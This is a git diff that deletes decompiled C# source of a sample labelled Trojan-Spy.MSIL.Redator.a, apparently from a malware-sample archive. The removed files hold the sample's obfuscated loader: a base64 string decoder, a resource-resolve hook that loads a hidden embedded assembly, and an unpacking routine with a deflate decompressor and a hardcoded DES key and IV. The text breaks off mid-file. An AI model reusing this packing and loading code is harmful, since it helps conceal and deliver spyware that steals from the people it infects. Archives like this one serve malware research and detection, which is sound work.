b/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0001/_0001.cs deleted file mode 100644 index c6d90f35..00000000 --- a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0001/_0001.cs +++ /dev/null @@ -1,109 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: Stub, Version=2.1.1.1, Culture=neutral, PublicKeyToken=null -// MVID: EC6FBD32-3576-4D40-B4A5-7808EA9CDA7F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db.exe - -using System; -using System.Collections; -using System.IO; -using System.Reflection; -using System.Runtime.InteropServices; -using System.Text; - -namespace \u0001 -{ - internal sealed class \u0001 - { - private static string \u0001 = "1"; - private static string \u0002 = "145"; - private static byte[] \u0001 = (byte[]) null; - private static Hashtable \u0001 = (Hashtable) null; - private static bool \u0001 = false; - private static int \u0001 = 0; - - public static string \u0003([In] int obj0) - { - obj0 -= \u0001.\u0001.\u0001; - if (\u0001.\u0001.\u0001) - { - string str = (string) \u0001.\u0001.\u0001[(object) obj0]; - if (str != null) - return str; - } - int num1 = obj0; - byte[] numArray1 = \u0001.\u0001.\u0001; - int index1 = num1; - int index2 = index1 + 1; - int num2 = (int) numArray1[index1]; - int count; - if ((num2 & 128) == 0) - { - count = num2; - if (count == 0) - return string.Empty; - } - else if ((num2 & 64) == 0) - { - count = ((num2 & 63) << 8) + (int) \u0001.\u0001.\u0001[index2++]; - } - else - { - int num3 = (num2 & 31) << 24; - byte[] numArray2 = \u0001.\u0001.\u0001; - int index3 = index2; - int num4 = index3 + 1; - int num5 = (int) numArray2[index3] << 16; - int num6 = num3 + num5; - byte[] numArray3 = \u0001.\u0001.\u0001; - int index4 = num4; - int num7 = index4 + 1; - int num8 = (int) numArray3[index4] << 8; - int num9 = num6 + num8; - byte[] numArray4 = \u0001.\u0001.\u0001; - int index5 = num7; - index2 = index5 + 1; - int num10 = (int) numArray4[index5]; - count = num9 + num10; - } - try - { - byte[] bytes = Convert.FromBase64String(Encoding.UTF8.GetString(\u0001.\u0001.\u0001, index2, count)); - string str = string.Intern(Encoding.UTF8.GetString(bytes, 0, bytes.Length)); - if (\u0001.\u0001.\u0001) - { - try - { - \u0001.\u0001.\u0001.Add((object) obj0, (object) str); - } - catch - { - } - } - return str; - } - catch - { - return (string) null; - } - } - - static \u0001() - { - if (\u0001.\u0001.\u0001 == "1") - { - \u0001.\u0001.\u0001 = true; - \u0001.\u0001.\u0001 = new Hashtable(); - } - \u0001.\u0001.\u0001 = Convert.ToInt32(\u0001.\u0001.\u0002); - using (Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream("{ec6fbd32-3576-4d40-b4a5-7808ea9cda7f}")) - { - int int32 = Convert.ToInt32(manifestResourceStream.Length); - byte[] buffer = new byte[int32]; - manifestResourceStream.Read(buffer, 0, int32); - \u0001.\u0001.\u0001 = \u0002.\u0001.\u0003(buffer); - manifestResourceStream.Close(); - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0001/_0002.cs b/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0001/_0002.cs deleted file mode 100644 index 3e613037..00000000 --- a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0001/_0002.cs +++ /dev/null @@ -1,25 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: Stub, Version=2.1.1.1, Culture=neutral, PublicKeyToken=null -// MVID: EC6FBD32-3576-4D40-B4A5-7808EA9CDA7F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db.exe - -using \u0001; -using System; - -namespace \u0001 -{ - internal class \u0002 - { - public static void \u0003() - { - try - { - \u0003.\u0003(); - } - catch (Exception ex) - { - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0001/_0003.cs b/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0001/_0003.cs deleted file mode 100644 index 2cf7b5ff..00000000 --- a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0001/_0003.cs +++ /dev/null @@ -1,50 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: Stub, Version=2.1.1.1, Culture=neutral, PublicKeyToken=null -// MVID: EC6FBD32-3576-4D40-B4A5-7808EA9CDA7F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db.exe - -using \u0001; -using System; -using System.Reflection; -using System.Runtime.InteropServices; - -namespace \u0001 -{ - internal class \u0003 - { - private static Assembly \u0001 = (Assembly) null; - private static string[] \u0001 = new string[0]; - - internal static void \u0003() - { - try - { - AppDomain.CurrentDomain.ResourceResolve += new ResolveEventHandler(\u0003.\u0003); - } - catch (Exception ex) - { - } - } - - internal static Assembly \u0003([In] object obj0, [In] ResolveEventArgs obj1) - { - if ((object) \u0003.\u0001 == null) - { - lock (\u0003.\u0001) - { - \u0003.\u0001 = Assembly.Load(\u0001.\u0001.\u0003(151)); - if ((object) \u0003.\u0001 != null) - \u0003.\u0001 = \u0003.\u0001.GetManifestResourceNames(); - } - } - string name = obj1.Name; - for (int index = 0; index < \u0003.\u0001.Length; ++index) - { - if (\u0003.\u0001[index] == name) - return \u0003.\u0001; - } - return (Assembly) null; - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0002/_0001.cs b/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0002/_0001.cs deleted file mode 100644 index 255ae0fb..00000000 --- a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0002/_0001.cs +++ /dev/null @@ -1,1013 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: Stub, Version=2.1.1.1, Culture=neutral, PublicKeyToken=null -// MVID: EC6FBD32-3576-4D40-B4A5-7808EA9CDA7F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db.exe - -using \u0002; -using System; -using System.IO; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Security.Cryptography; - -namespace \u0002 -{ - internal sealed class \u0001 - { - public static byte[] \u0003([In] byte[] obj0) - { - \u0001.\u0007 obj1 = new \u0001.\u0007(obj0); - byte[] numArray1 = new byte[0]; - int num1 = obj1.\u0004(); - if (num1 == 67324752) - { - short num2 = (short) obj1.\u0003(); - int num3 = obj1.\u0003(); - int num4 = obj1.\u0003(); - if (num1 != 67324752 || num2 != (short) 20 || num3 != 0 || num4 != 8) - throw new FormatException("Wrong Header Signature"); - obj1.\u0004(); - obj1.\u0004(); - obj1.\u0004(); - int length = obj1.\u0004(); - int count1 = obj1.\u0003(); - int count2 = obj1.\u0003(); - if (count1 > 0) - { - byte[] buffer = new byte[count1]; - obj1.Read(buffer, 0, count1); - } - if (count2 > 0) - { - byte[] buffer = new byte[count2]; - obj1.Read(buffer, 0, count2); - } - byte[] buffer1 = new byte[obj1.Length - obj1.Position]; - obj1.Read(buffer1, 0, buffer1.Length); - \u0001.\u0001 obj2 = new \u0001.\u0001(buffer1); - numArray1 = new byte[length]; - obj2.\u0003(numArray1, 0, numArray1.Length); - } - else - { - int num5 = num1 >> 24; - if (num1 - (num5 << 24) != 8223355) - throw new FormatException("Unknown Header"); - if (num5 == 1) - { - int length1 = obj1.\u0004(); - numArray1 = new byte[length1]; - int num6; - for (int index = 0; index < length1; index += num6) - { - int length2 = obj1.\u0004(); - num6 = obj1.\u0004(); - byte[] buffer = new byte[length2]; - obj1.Read(buffer, 0, buffer.Length); - new \u0001.\u0001(buffer).\u0003(numArray1, index, num6); - } - } - if (num5 == 2) - { - DESCryptoServiceProvider cryptoServiceProvider = new DESCryptoServiceProvider(); - cryptoServiceProvider.Key = new byte[8] - { - (byte) 16, - (byte) 114, - (byte) 148, - (byte) 6, - (byte) 43, - (byte) 5, - (byte) 62, - (byte) 84 - }; - cryptoServiceProvider.IV = new byte[8] - { - (byte) 8, - (byte) 236, - (byte) 213, - (byte) 110, - (byte) 137, - (byte) 40, - (byte) 208, - (byte) 2 - }; - byte[] numArray2 = cryptoServiceProvider.CreateDecryptor().TransformFinalBlock(obj0, 4, obj0.Length - 4); - cryptoServiceProvider.Clear(); - numArray1 = \u0001.\u0003(numArray2); - } - } - obj1.Close(); - return numArray1; - } - - internal sealed class \u0001 - { - private static int[] \u0001 = new int[29] - { - 3, - 4, - 5, - 6, - 7, - 8, - 9, - 10, - 11, - 13, - 15, - 17, - 19, - 23, - 27, - 31, - 35, - 43, - 51, - 59, - 67, - 83, - 99, - 115, - 131, - 163, - 195, - 227, - 258 - }; - private static int[] \u0002 = new int[29] - { - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 1, - 1, - 1, - 1, - 2, - 2, - 2, - 2, - 3, - 3, - 3, - 3, - 4, - 4, - 4, - 4, - 5, - 5, - 5, - 5, - 0 - }; - private static int[] \u0003 = new int[30] - { - 1, - 2, - 3, - 4, - 5, - 7, - 9, - 13, - 17, - 25, - 33, - 49, - 65, - 97, - 129, - 193, - 257, - 385, - 513, - 769, - 1025, - 1537, - 2049, - 3073, - 4097, - 6145, - 8193, - 12289, - 16385, - 24577 - }; - private static int[] \u0004 = new int[30] - { - 0, - 0, - 0, - 0, - 1, - 1, - 2, - 2, - 3, - 3, - 4, - 4, - 5, - 5, - 6, - 6, - 7, - 7, - 8, - 8, - 9, - 9, - 10, - 10, - 11, - 11, - 12, - 12, - 13, - 13 - }; - private int \u0001; - private int \u0002; - private int \u0003; - private int \u0004; - private int \u0005; - private bool \u0001; - private \u0001.\u0002 \u0001; - private \u0001.\u0003 \u0001; - private \u0001.\u0005 \u0001; - private \u0001.\u0004 \u0001; - private \u0001.\u0004 \u0002; - - public \u0001([In] byte[] obj0) - { - this.\u0001 = new \u0001.\u0002(); - this.\u0001 = new \u0001.\u0003(); - this.\u0001 = 2; - this.\u0001.\u0003(obj0, 0, obj0.Length); - } - - private bool \u0003() - { - int num1 = this.\u0001.\u0003(); - while (num1 >= 258) - { - switch (this.\u0001) - { - case 7: - int num2; - while (((num2 = this.\u0001.\u0003(this.\u0001)) & -256) == 0) - { - this.\u0001.\u0003(num2); - if (--num1 < 258) - return true; - } - if (num2 < 257) - { - if (num2 < 0) - return false; - this.\u0002 = (\u0001.\u0004) null; - this.\u0001 = (\u0001.\u0004) null; - this.\u0001 = 2; - return true; - } - this.\u0003 = \u0001.\u0001.\u0001[num2 - 257]; - this.\u0002 = \u0001.\u0001.\u0002[num2 - 257]; - goto case 8; - case 8: - if (this.\u0002 > 0) - { - this.\u0001 = 8; - int num3 = this.\u0001.\u0003(this.\u0002); - if (num3 < 0) - return false; - this.\u0001.\u0003(this.\u0002); - this.\u0003 += num3; - } - this.\u0001 = 9; - goto case 9; - case 9: - int index = this.\u0002.\u0003(this.\u0001); - if (index < 0) - return false; - this.\u0004 = \u0001.\u0001.\u0003[index]; - this.\u0002 = \u0001.\u0001.\u0004[index]; - goto case 10; - case 10: - if (this.\u0002 > 0) - { - this.\u0001 = 10; - int num4 = this.\u0001.\u0003(this.\u0002); - if (num4 < 0) - return false; - this.\u0001.\u0003(this.\u0002); - this.\u0004 += num4; - } - this.\u0001.\u0003(this.\u0003, this.\u0004); - num1 -= this.\u0003; - this.\u0001 = 7; - continue; - default: - continue; - } - } - return true; - } - - private bool \u0004() - { - switch (this.\u0001) - { - case 2: - if (this.\u0001) - { - this.\u0001 = 12; - return false; - } - int num = this.\u0001.\u0003(3); - if (num < 0) - return false; - this.\u0001.\u0003(3); - if ((num & 1) != 0) - this.\u0001 = true; - switch (num >> 1) - { - case 0: - this.\u0001.\u0003(); - this.\u0001 = 3; - break; - case 1: - this.\u0001 = \u0001.\u0004.\u0001; - this.\u0002 = \u0001.\u0004.\u0002; - this.\u0001 = 7; - break; - case 2: - this.\u0001 = new \u0001.\u0005(); - this.\u0001 = 6; - break; - } - return true; - case 3: - if ((this.\u0005 = this.\u0001.\u0003(16)) < 0) - return false; - this.\u0001.\u0003(16); - this.\u0001 = 4; - goto case 4; - case 4: - if (this.\u0001.\u0003(16) < 0) - return false; - this.\u0001.\u0003(16); - this.\u0001 = 5; - goto case 5; - case 5: - this.\u0005 -= this.\u0001.\u0003(this.\u0001, this.\u0005); - if (this.\u0005 != 0) - return !this.\u0001.\u0003(); - this.\u0001 = 2; - return true; - case 6: - if (!this.\u0001.\u0003(this.\u0001)) - return false; - this.\u0001 = this.\u0001.\u0003(); - this.\u0002 = this.\u0001.\u0004(); - this.\u0001 = 7; - goto case 7; - case 7: - case 8: - case 9: - case 10: - return this.\u0003(); - case 12: - return false; - default: - return false; - } - } - - public int \u0003([In] byte[] obj0, [In] int obj1, [In] int obj2) - { - int num1 = 0; - do - { - if (this.\u0001 != 11) - goto label_5; -label_2: - continue; -label_5: - int num2 = this.\u0001.\u0003(obj0, obj1, obj2); - obj1 += num2; - num1 += num2; - obj2 -= num2; - if (obj2 != 0) - goto label_2; - else - goto label_1; - } - while (this.\u0004() || this.\u0001.\u0004() > 0 && this.\u0001 != 11); - goto label_3; -label_1: - return num1; -label_3: - return num1; - } - } - - internal sealed class \u0002 - { - private byte[] \u0001; - private int \u0001; - private int \u0002; - private uint \u0001; - private int \u0003; - - public int \u0003([In] int obj0) - { - if (this.\u0003 < obj0) - goto label_4; -label_3: - return (int) ((long) this.\u0001 & (long) ((1 << obj0) - 1)); -label_4: - if (this.\u0001 == this.\u0002) - return -1; - this.\u0001 |= (uint) (((int) this.\u0001[this.\u0001++] & (int) byte.MaxValue | ((int) this.\u0001[this.\u0001++] & (int) byte.MaxValue) << 8) << this.\u0003); - this.\u0003 += 16; - goto label_3; - } - - public void \u0003([In] int obj0) - { - this.\u0001 >>= obj0; - this.\u0003 -= obj0; - } - - [SpecialName] - public int \u0003() => this.\u0003; - - [SpecialName] - public int \u0004() => this.\u0002 - this.\u0001 + (this.\u0003 >> 3); - - public void \u0003() - { - this.\u0001 >>= this.\u0003 & 7; - this.\u0003 &= -8; - } - - [SpecialName] - public bool \u0003() => this.\u0001 == this.\u0002; - - public int \u0003([In] byte[] obj0, [In] int obj1, [In] int obj2) - { - int num1 = 0; - while (this.\u0003 > 0 && obj2 > 0) - { - obj0[obj1++] = (byte) this.\u0001; - this.\u0001 >>= 8; - this.\u0003 -= 8; - --obj2; - ++num1; - } - if (obj2 == 0) - return num1; - int num2 = this.\u0002 - this.\u0001; - if (obj2 > num2) - obj2 = num2; - Array.Copy((Array) this.\u0001, this.\u0001, (Array) obj0, obj1, obj2); - this.\u0001 += obj2; - if ((this.\u0001 - this.\u0002 & 1) != 0) - { - this.\u0001 = (uint) this.\u0001[this.\u0001++] & (uint) byte.MaxValue; - this.\u0003 = 8; - } - return num1 + obj2; - } - - public void \u0003([In] byte[] obj0, [In] int obj1, [In] int obj2) - { - if (this.\u0001 < this.\u0002) - throw new InvalidOperationException(); - int num = obj1 + obj2; - if (0 > obj1 || obj1 > num || num > obj0.Length) - throw new ArgumentOutOfRangeException(); - if ((obj2 & 1) != 0) - { - this.\u0001 |= (uint) (((int) obj0[obj1++] & (int) byte.MaxValue) << this.\u0003); - this.\u0003 += 8; - } - this.\u0001 = obj0; - this.\u0001 = obj1; - this.\u0002 = num; - } - } - - internal sealed class \u0003 - { - private static int \u0001 = 32768; - private static int \u0002 = \u0001.\u0003.\u0001 - 1; - private byte[] \u0001 = new byte[\u0001.\u0003.\u0001]; - private int \u0003; - private int \u0004; - - public void \u0003([In] int obj0) - { - \u0001.\u0003 obj = this; - int num1; - int num2 = num1 = obj.\u0004; - obj.\u0004 = num1 + 1; - if (num2 == \u0001.\u0003.\u0001) - throw new InvalidOperationException(); - this.\u0001[this.\u0003++] = (byte) obj0; - this.\u0003 &= \u0001.\u0003.\u0002; - } - - private void \u0003([In] int obj0, [In] int obj1, [In] int obj2) - { - while (obj1-- > 0) - { - byte[] numArray = this.\u0001; - \u0001.\u0003 obj = this; - int num1; - int num2 = num1 = obj.\u0003; - obj.\u0003 = num1 + 1; - int index = num2; - int num3 = (int) this.\u0001[obj0++]; - numArray[index] = (byte) num3; - this.\u0003 &= \u0001.\u0003.\u0002; - obj0 &= \u0001.\u0003.\u0002; - } - } - - public void \u0003([In] int obj0, [In] int obj1) - { - if ((this.\u0004 += obj0) > \u0001.\u0003.\u0001) - throw new InvalidOperationException(); - int sourceIndex = this.\u0003 - obj1 & \u0001.\u0003.\u0002; - int num = \u0001.\u0003.\u0001 - obj0; - if (sourceIndex <= num && this.\u0003 < num) - { - if (obj0 <= obj1) - { - Array.Copy((Array) this.\u0001, sourceIndex, (Array) this.\u0001, this.\u0003, obj0); - this.\u0003 += obj0; - } - else - { - while (obj0-- > 0) - this.\u0001[this.\u0003++] = this.\u0001[sourceIndex++]; - } - } - else - this.\u0003(sourceIndex, obj0, obj1); - } - - public int \u0003([In] \u0001.\u0002 obj0, [In] int obj1) - { - obj1 = Math.Min(Math.Min(obj1, \u0001.\u0003.\u0001 - this.\u0004), obj0.\u0004()); - int num1 = \u0001.\u0003.\u0001 - this.\u0003; - int num2; - if (obj1 > num1) - { - num2 = obj0.\u0003(this.\u0001, this.\u0003, num1); - if (num2 == num1) - num2 += obj0.\u0003(this.\u0001, 0, obj1 - num1); - } - else - num2 = obj0.\u0003(this.\u0001, this.\u0003, obj1); - this.\u0003 = this.\u0003 + num2 & \u0001.\u0003.\u0002; - this.\u0004 += num2; - return num2; - } - - public int \u0003() => \u0001.\u0003.\u0001 - this.\u0004; - - public int \u0004() => this.\u0004; - - public int \u0003([In] byte[] obj0, [In] int obj1, [In] int obj2) - { - int num1 = this.\u0003; - if (obj2 > this.\u0004) - obj2 = this.\u0004; - else - num1 = this.\u0003 - this.\u0004 + obj2 & \u0001.\u0003.\u0002; - int num2 = obj2; - int length = obj2 - num1; - if (length > 0) - { - Array.Copy((Array) this.\u0001, \u0001.\u0003.\u0001 - length, (Array) obj0, obj1, length); - obj1 += length; - obj2 = num1; - } - Array.Copy((Array) this.\u0001, num1 - obj2, (Array) obj0, obj1, obj2); - this.\u0004 -= num2; - if (this.\u0004 < 0) - throw new InvalidOperationException(); - return num2; - } - } - - internal sealed class \u0004 - { - private static int \u0001 = 15; - private short[] \u0001; - public static \u0001.\u0004 \u0001; - public static \u0001.\u0004 \u0002; - - static \u0004() - { - byte[] numArray1 = new byte[288]; - int num1 = 0; - while (num1 < 144) - numArray1[num1++] = (byte) 8; - while (num1 < 256) - numArray1[num1++] = (byte) 9; - while (num1 < 280) - numArray1[num1++] = (byte) 7; - while (num1 < 288) - numArray1[num1++] = (byte) 8; - \u0001.\u0004.\u0001 = new \u0001.\u0004(numArray1); - byte[] numArray2 = new byte[32]; - int num2 = 0; - while (num2 < 32) - numArray2[num2++] = (byte) 5; - \u0001.\u0004.\u0002 = new \u0001.\u0004(numArray2); - } - - public \u0004([In] byte[] obj0) => this.\u0003(obj0); - - private void \u0003([In] byte[] obj0) - { - int[] numArray1 = new int[\u0001.\u0004.\u0001 + 1]; - int[] numArray2 = new int[\u0001.\u0004.\u0001 + 1]; - for (int index1 = 0; index1 < obj0.Length; ++index1) - { - int index2 = (int) obj0[index1]; - if (index2 > 0) - ++numArray1[index2]; - } - int num1 = 0; - int length = 512; - for (int index = 1; index <= \u0001.\u0004.\u0001; ++index) - { - numArray2[index] = num1; - num1 += numArray1[index] << 16 - index; - if (index >= 10) - { - int num2 = numArray2[index] & 130944; - int num3 = num1 & 130944; - length += num3 - num2 >> 16 - index; - } - } - this.\u0001 = new short[length]; - int num4 = 512; - for (int index3 = \u0001.\u0004.\u0001; index3 >= 10; --index3) - { - int num5 = num1 & 130944; - num1 -= numArray1[index3] << 16 - index3; - for (int index4 = num1 & 130944; index4 < num5; index4 += 128) - { - this.\u0001[(int) \u0001.\u0006.\u0003(index4)] = (short) (-num4 << 4 | index3); - num4 += 1 << index3 - 9; - } - } - for (int index5 = 0; index5 < obj0.Length; ++index5) - { - int index6 = (int) obj0[index5]; - if (index6 != 0) - { - int num6 = numArray2[index6]; - int index7 = (int) \u0001.\u0006.\u0003(num6); - if (index6 <= 9) - { - do - { - this.\u0001[index7] = (short) (index5 << 4 | index6); - index7 += 1 << index6; - } - while (index7 < 512); - } - else - { - int num7 = (int) this.\u0001[index7 & 511]; - int num8 = 1 << (num7 & 15); - int num9 = -(num7 >> 4); - do - { - this.\u0001[num9 | index7 >> 9] = (short) (index5 << 4 | index6); - index7 += 1 << index6; - } - while (index7 < num8); - } - numArray2[index6] = num6 + (1 << 16 - index6); - } - } - } - - public int \u0003([In] \u0001.\u0002 obj0) - { - int index; - if ((index = obj0.\u0003(9)) >= 0) - { - int num1; - if ((num1 = (int) this.\u0001[index]) >= 0) - { - obj0.\u0003(num1 & 15); - return num1 >> 4; - } - int num2 = -(num1 >> 4); - int num3 = num1 & 15; - int num4; - if ((num4 = obj0.\u0003(num3)) >= 0) - { - int num5 = (int) this.\u0001[num2 | num4 >> 9]; - obj0.\u0003(num5 & 15); - return num5 >> 4; - } - int num6 = obj0.\u0003(); - int num7 = obj0.\u0003(num6); - int num8 = (int) this.\u0001[num2 | num7 >> 9]; - if ((num8 & 15) > num6) - return -1; - obj0.\u0003(num8 & 15); - return num8 >> 4; - } - int num9 = obj0.\u0003(); - int num10 = (int) this.\u0001[obj0.\u0003(num9)]; - if (num10 < 0 || (num10 & 15) > num9) - return -1; - obj0.\u0003(num10 & 15); - return num10 >> 4; - } - } - - internal sealed class \u0005 - { - private static readonly int[] \u0001 = new int[3] - { - 3, - 3, - 11 - }; - private static readonly int[] \u0002 = new int[3] - { - 2, - 3, - 7 - }; - private byte[] \u0001; - private byte[] \u0002; - private \u0001.\u0004 \u0001; - private int \u0001; - private int \u0002; - private int \u0003; - private int \u0004; - private int \u0005; - private int \u0006; - private byte \u0001; - private int \u0007; - private static readonly int[] \u0003 = new int[19] - { - 16, - 17, - 18, - 0, - 8, - 7, - 9, - 6, - 10, - 5, - 11, - 4, - 12, - 3, - 13, - 2, - 14, - 1, - 15 - }; - - public bool \u0003([In] \u0001.\u0002 obj0) - { - while (true) - { - switch (this.\u0001) - { - case 0: - this.\u0002 = obj0.\u0003(5); - if (this.\u0002 >= 0) - { - this.\u0002 += 257; - obj0.\u0003(5); - this.\u0001 = 1; - goto case 1; - } - else - goto label_2; - case 1: - this.\u0003 = obj0.\u0003(5); - if (this.\u0003 >= 0) - { - ++this.\u0003; - obj0.\u0003(5); - this.\u0005 = this.\u0002 + this.\u0003; - this.\u0002 = new byte[this.\u0005]; - this.\u0001 = 2; - goto case 2; - } - else - goto label_5; - case 2: - this.\u0004 = obj0.\u0003(4); - if (this.\u0004 >= 0) - { - this.\u0004 += 4; - obj0.\u0003(4); - this.\u0001 = new byte[19]; - this.\u0007 = 0; - this.\u0001 = 3; - goto case 3; - } - else - goto label_8; - case 3: - for (; this.\u0007 < this.\u0004; ++this.\u0007) - { - int num = obj0.\u0003(3); - if (num < 0) - return false; - obj0.\u0003(3); - this.\u0001[\u0001.\u0005.\u0003[this.\u0007]] = (byte) num; - } - this.\u0001 = new \u0001.\u0004(this.\u0001); - this.\u0001 = (byte[]) null; - this.\u0007 = 0; - this.\u0001 = 4; - goto case 4; - case 4: - int num1; - while (((num1 = this.\u0001.\u0003(obj0)) & -16) == 0) - { - this.\u0002[this.\u0007++] = this.\u0001 = (byte) num1; - if (this.\u0007 == this.\u0005) - return true; - } - if (num1 >= 0) - { - if (num1 >= 17) - this.\u0001 = (byte) 0; - this.\u0006 = num1 - 16; - this.\u0001 = 5; - goto case 5; - } - else - goto label_19; - case 5: - int num2 = \u0001.\u0005.\u0002[this.\u0006]; - int num3 = obj0.\u0003(num2); - if (num3 >= 0) - { - obj0.\u0003(num2); - int num4 = num3 + \u0001.\u0005.\u0001[this.\u0006]; - while (num4-- > 0) - this.\u0002[this.\u0007++] = this.\u0001; - if (this.\u0007 != this.\u0005) - { - this.\u0001 = 4; - continue; - } - goto label_29; - } - else - goto label_24; - default: - continue; - } - } -label_2: - return false; -label_5: - return false; -label_8: - return false; -label_19: - return false; -label_24: - return false; -label_29: - return true; - } - - public \u0001.\u0004 \u0003() - { - byte[] destinationArray = new byte[this.\u0002]; - Array.Copy((Array) this.\u0002, 0, (Array) destinationArray, 0, this.\u0002); - return new \u0001.\u0004(destinationArray); - } - - public \u0001.\u0004 \u0004() - { - byte[] destinationArray = new byte[this.\u0003]; - Array.Copy((Array) this.\u0002, this.\u0002, (Array) destinationArray, 0, this.\u0003); - return new \u0001.\u0004(destinationArray); - } - } - - internal sealed class \u0006 - { - private static int \u0001 = 16384; - private static int \u0002 = 286; - private static int \u0003 = 30; - private static int \u0004 = 19; - private static int \u0005 = 16; - private static int \u0006 = 17; - private static int \u0007 = 18; - private static int \u0008 = 256; - private static int[] \u0001 = new int[19] - { - 16, - 17, - 18, - 0, - 8, - 7, - 9, - 6, - 10, - 5, - 11, - 4, - 12, - 3, - 13, - 2, - 14, - 1, - 15 - }; - private static byte[] \u0001 = new byte[16] - { - (byte) 0, - (byte) 8, - (byte) 4, - (byte) 12, - (byte) 2, - (byte) 10, - (byte) 6, - (byte) 14, - (byte) 1, - (byte) 9, - (byte) 5, - (byte) 13, - (byte) 3, - (byte) 11, - (byte) 7, - (byte) 15 - }; - private static short[] \u0001 = new short[\u0001.\u0006.\u0002]; - private static byte[] \u0002 = new byte[\u0001.\u0006.\u0002]; - private static short[] \u0002; - private static byte[] \u0003; - - public static short \u0003([In] int obj0) => (short) ((int) \u0001.\u0006.\u0001[obj0 & 15] << 12 | (int) \u0001.\u0006.\u0001[obj0 >> 4 & 15] << 8 | (int) \u0001.\u0006.\u0001[obj0 >> 8 & 15] << 4 | (int) \u0001.\u0006.\u0001[obj0 >> 12]); - - static \u0006() - { - int index1; - for (index1 = 0; index1 < 144; \u0001.\u0006.\u0002[index1++] = (byte) 8) - \u0001.\u0006.\u0001[index1] = \u0001.\u0006.\u0003(48 + index1 << 8); - for (; index1 < 256; \u0001.\u0006.\u0002[index1++] = (byte) 9) - \u0001.\u0006.\u0001[index1] = \u0001.\u0006.\u0003(256 + index1 << 7); - for (; index1 < 280; \u0001.\u0006.\u0002[index1++] = (byte) 7) - \u0001.\u0006.\u0001[index1] = \u0001.\u0006.\u0003(index1 - 256 << 9); - for (; index1 < \u0001.\u0006.\u0002; \u0001.\u0006.\u0002[index1++] = (byte) 8) - \u0001.\u0006.\u0001[index1] = \u0001.\u0006.\u0003(index1 - 88 << 8); - \u0001.\u0006.\u0002 = new short[\u0001.\u0006.\u0003]; - \u0001.\u0006.\u0003 = new byte[\u0001.\u0006.\u0003]; - for (int index2 = 0; index2 < \u0001.\u0006.\u0003; ++index2) - { - \u0001.\u0006.\u0002[index2] = \u0001.\u0006.\u0003(index2 << 11); - \u0001.\u0006.\u0003[index2] = (byte) 5; - } - } - } - - internal sealed class \u0007 : MemoryStream - { - public int \u0003() => this.ReadByte() | this.ReadByte() << 8; - - public int \u0004() => this.\u0003() | this.\u0003() << 16; - - public \u0007([In] byte[] obj0) - : base(obj0, false) - { - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0002/_0002.cs b/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0002/_0002.cs deleted file mode 100644 index 4d1bfdbd..00000000 --- a/MSIL/Trojan-Spy/MSIL/R/Trojan-Spy.MSIL.Redator.a-a676d1ab529ccd4de171c2caa0cf6a0e3a6f2ad515fcc76ba420581168da84db/_0002/_0002.cs +++ /dev/null @@ -1,50 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: Stub, Version=2.1.1.1, Culture=neutral, PublicKeyToken=null -// MVID: EC6FBD32-3576-4D40-B4A5-7808EA9CDA7F -// Assembly location: 